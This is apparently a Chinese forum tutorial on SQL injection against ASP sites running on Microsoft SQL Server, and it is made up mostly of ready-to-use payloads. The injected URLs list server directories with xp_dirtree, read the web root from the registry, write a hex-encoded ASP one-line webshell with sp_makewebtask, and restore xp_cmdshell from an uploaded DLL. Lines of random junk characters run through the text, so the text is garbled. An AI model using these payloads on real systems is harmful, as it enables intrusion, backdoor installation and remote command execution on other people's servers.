好,我们exec master..xp_dirtree'd:/test'
4 w" L/ K- Z& q" a& a假设我们在test里有两个文件夹test1和test2在test1里又有test36 `3 @6 s$ G0 C
结果显示: e9 f2 O0 W3 R; X' q$ h. ?' O2 x
1 H; Q0 a& O! f5 msubdirectory depth
( t* h9 A- S/ f* \# {test1 1
' j6 R+ {& K. b9 _3 _8 {test3 2' j3 a2 T4 T8 e3 ^& k
test2 1
1 b: P* |# _* Z0 L* T9 z& ]$ Z
0 _3 `# K$ W3 {# x, M. o哈哈发现没有那个depth就是目录的级数
" W% O8 C/ u2 |2 f9 sok了,知道怎么办了吧. y# r* H% U9 u3 K J
# I9 B% `. P5 w" V2 o/ e
http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)--
3 T% U# @% W; M% w$ Ghttp://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'd:\' -- 5 p: k0 h( b% V$ x9 j# ~
http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where id=1)-
( ?' A4 V7 d/ ?( m! @. V9 W$ A+ y$ c# f( T4 d: Q' h. Q
只要加上id=1,就是第一级目录 。" f$ ~7 K& G: G1 t! ~) }
# e9 d3 h0 I& }+ y0 H: e
" B" W7 a2 X, p7 \" }$ ]通过注册表读网站路径:& j( L% R7 R0 |* P! Z
. y: n" R! [; b+ @" R" F( Y+ e1.;create table [dbo].[cyfd] ([gyfd][char](255));
7 ?3 A2 D& @5 x( U4 r# T# G
2 U( G/ ^. Q7 O8 @& Z5 S4 [2.DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);--# q6 U9 x! v& P
id=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into cyfd (gyfd) values(@result);--& X, w9 N" F/ T7 X
6 i6 Z. r S1 B. a0 V) U
3.and 1=(select count(*) from 临时表 where 临时字段名>1)0 f. v9 L' P, z- C+ }+ U" s
and 1=(select count(*) from cyfd where gyfd > 1)
! i% A! z: Z. d8 y5 a这样IE报错,就把刚才插进去的Web路径的值报出来了
0 q% g# k' C! D
5 c& @6 C/ r$ V4 Q0 o) t+ I& d, D* X4.drop table cyfd;-- 删除临时表
" }& G& j6 W, E8 i) J- E9 d4 P3 H/ j. t; F; ?/ [
获得webshell方法:
7 s2 x8 n7 ^: H+ s- l7 ~1.create table cmd (a image)-- \**cmd是创建的临时表
. d: |7 u; l( Z6 A$ M0 R% L+ c0 Q/ o6 c
2.insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)-- 往cmd表里插入一句话
& y" q8 s! C$ h" @8 n( S8 i9 ^/ d& U k9 a3 V+ d1 z2 V
8 W' l- Q& E6 l- X: R
3.EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT image FROM cmd'
$ k0 L O$ H" w& s) \* b) g: ]. Z, REXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
+ b# F/ r9 C* D- B1 a% {& N- `& ~9 z, P3 N! K& v9 U
4.drop table cmd;-- 删除cmd临时表" d" l( |: I" e( @, u' T8 }& C
: s6 ]- X9 j6 M) p) F1 K
恢复xp_cmdshell方法之一:& V r8 c8 n- w$ N; t
我很快就把xplog70.dll文件给他上传到e:\inetpub\wwwroot目录下了,来吧,我们来给他恢复,提交:5 H2 L+ C" F* O. C& v/ c1 C
http://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetpub\wwwroot\xplog70.dll'' J- p% l3 F+ P4 I# @
恢复,支持绝对路径的恢复哦。:)' U' S0 ~) H; N4 M1 s3 f
|